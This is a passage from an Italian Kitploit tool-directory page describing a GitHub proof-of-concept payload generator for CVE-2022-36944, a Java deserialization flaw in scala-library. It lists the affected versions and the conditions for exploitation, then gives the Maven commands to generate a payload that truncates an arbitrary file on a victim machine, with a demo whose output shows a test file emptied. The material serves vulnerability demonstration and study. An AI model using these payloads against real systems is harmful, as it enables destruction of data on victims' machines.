Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
lazylist-cve-poc — POC per lo sfruttamento della vulnerabilità CVE-2022-36944 | Kitploit
Strumenti/GitHubGitHub/yarocher/lazylist-cve-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubyarocher/lazylist-cve-poc

lazylist-cve-poc

POC per lo sfruttamento della vulnerabilità CVE-2022-36944

Vedi Repository
111143 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Generatore di payload per CVE-2022-36944

Questo mini-progetto è stato creato per dimostrare il proof of concept della vulnerabilità CVE-2022-36944. È simile a ysoserial, ma genera payload solo per questa CVE con la classe LazyList.

FAQ Rapide

Quali artefatti portano la vulnerabilità?

org.scala-lang:scala-library con versioni 2.13.x precedenti a 2.13.9

Quali applicazioni sono vulnerabili?

Devono essere soddisfatte due condizioni per rendere la tua applicazione sfruttabile:

  • La tua applicazione contiene il jar scala-library vulnerabile nel classpath
  • ObjectInputStream#readObject() viene eventualmente chiamato da qualche parte nella tua applicazione e dati non affidabili (controllati dall'attaccante) vengono passati ad esso

Dove è stata corretta la vulnerabilità?

Vedi PR di scala: #10118

Compilazione

mvn clean package

Esecuzione

Il seguente comando stamperà il payload su stdout, che può essere usato per troncare un file arbitrario sulla macchina vittima:

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

Demo

A) Tramite file

  1. Prepara un file di test con qualche dato al suo interno:
$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
  1. Genera il payload e salvalo nel file payload.ser:
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser
  1. Esegui il processo vittima (ci si aspetta un ClassCastException):
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
  1. Verifica che il file vittima sia troncato:
$ head test_data 
$ 

B) Pipe verso stdin

I passi 2-3 possono essere combinati in questo modo (usa "-" come file per Victim):

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
Scarica lo strumento